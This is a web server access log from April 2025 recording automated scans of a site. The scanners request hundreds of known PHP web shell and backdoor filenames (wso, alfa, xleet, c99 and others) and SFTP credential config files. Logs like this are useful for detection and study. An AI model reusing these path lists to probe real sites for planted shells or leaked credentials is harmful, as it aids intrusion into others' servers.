52.169.29.118 - - [18/Apr/2025:18:08:49 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:50 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:52 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:53 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:18:08:53 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.169.29.118 - - [18/Apr/2025:18:08:54 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:54 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:55 -0400] "GET /wp-includes/qqzqflcv.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:55 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:56 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:56 -0400] "GET /wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:57 -0400] "GET /yanz.php/wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [18/Apr/2025:18:08:57 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:18:09:03 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [18/Apr/2025:18:10:42 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 143.198.82.154 - - [18/Apr/2025:18:22:26 -0400] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 143.198.82.154 - - [18/Apr/2025:18:22:33 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 43.153.123.4 - - [18/Apr/2025:18:57:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.227.36.97 - - [18/Apr/2025:19:17:49 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.213 - - [18/Apr/2025:19:18:15 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 52.169.149.126 - - [18/Apr/2025:19:44:28 -0400] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:30 -0400] "GET /wp-admin/includes/xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:31 -0400] "GET /wp-content/plugins/content-management/content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:32 -0400] "GET /xlt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:33 -0400] "GET /wp-content/plugins/xt/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:34 -0400] "GET /wp-content/xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:35 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:36 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:37 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:38 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:38 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:40 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:41 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:42 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:44 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:45 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:45 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:46 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:47 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:48 -0400] "GET /alfadheat.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:49 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:49 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:50 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:51 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:51 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:52 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:53 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:53 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:54 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:54 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:55 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:56 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:56 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:57 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:57 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:58 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:59 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:44:59 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:00 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:00 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:01 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:01 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:02 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:03 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:04 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:06 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:07 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:08 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:10 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:11 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:14 -0400] "GET /fosil.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:15 -0400] "GET /ws.php.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:19 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:21 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:24 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:25 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:27 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:29 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:30 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:34 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:35 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:36 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:37 -0400] "GET /xxl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:38 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:39 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:40 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:41 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:42 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:43 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:44 -0400] "GET /.well-known/acme-challenge/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:45 -0400] "GET /.well-known/pki-validation/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:46 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:47 -0400] "GET /wp-admin/maint/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:48 -0400] "GET /wp-content/upgrade/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:49 -0400] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:50 -0400] "GET /wp-admin/user/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:50 -0400] "GET /wp-admin/js/widgets/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:51 -0400] "GET /wp-admin/network/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:52 -0400] "GET /wp-admin/images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:52 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:53 -0400] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:54 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:54 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:55 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:56 -0400] "GET /wp-content/uploads/xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:56 -0400] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:57 -0400] "GET /ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:58 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:45:59 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:00 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:00 -0400] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:01 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:02 -0400] "GET /wp-post-editor.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:02 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:04 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:04 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:05 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:06 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:07 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:07 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:08 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:09 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:10 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:11 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:12 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:13 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:15 -0400] "GET /wp-adminincludesclass-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:18 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:19 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:20 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:24 -0400] "GET /alwso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:25 -0400] "GET /ups.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:26 -0400] "GET /media-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:27 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:29 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:29 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:30 -0400] "GET /symlink.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:31 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:33 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:35 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:37 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:38 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:39 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:40 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:42 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:43 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:44 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:45 -0400] "GET /FoxWSO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:46 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:47 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:47 -0400] "GET /imagesvuln.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:48 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:49 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:50 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:51 -0400] "GET /0byte.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:52 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:54 -0400] "GET /new-index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:54 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:55 -0400] "GET /qindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:56 -0400] "GET /minimo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:57 -0400] "GET /V3.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:57 -0400] "GET /V5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:58 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:59 -0400] "GET /www.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:46:59 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:00 -0400] "GET /777.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:01 -0400] "GET /defau1t.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:02 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:02 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:03 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:04 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:04 -0400] "GET /sindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:06 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:06 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:07 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:08 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:09 -0400] "GET /nee.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:10 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:10 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:11 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:12 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:13 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:14 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:15 -0400] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:15 -0400] "GET /87.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:16 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:17 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:18 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:19 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:20 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:21 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:22 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:22 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:23 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:23 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:24 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:25 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:25 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:26 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:27 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:28 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:29 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:29 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:30 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:30 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:31 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:32 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:32 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:33 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:34 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:35 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:36 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:37 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:38 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:39 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:40 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:40 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:41 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:42 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:43 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:44 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:45 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:46 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:47 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:48 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:50 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:51 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:52 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:53 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:53 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:54 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:55 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [18/Apr/2025:19:47:56 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 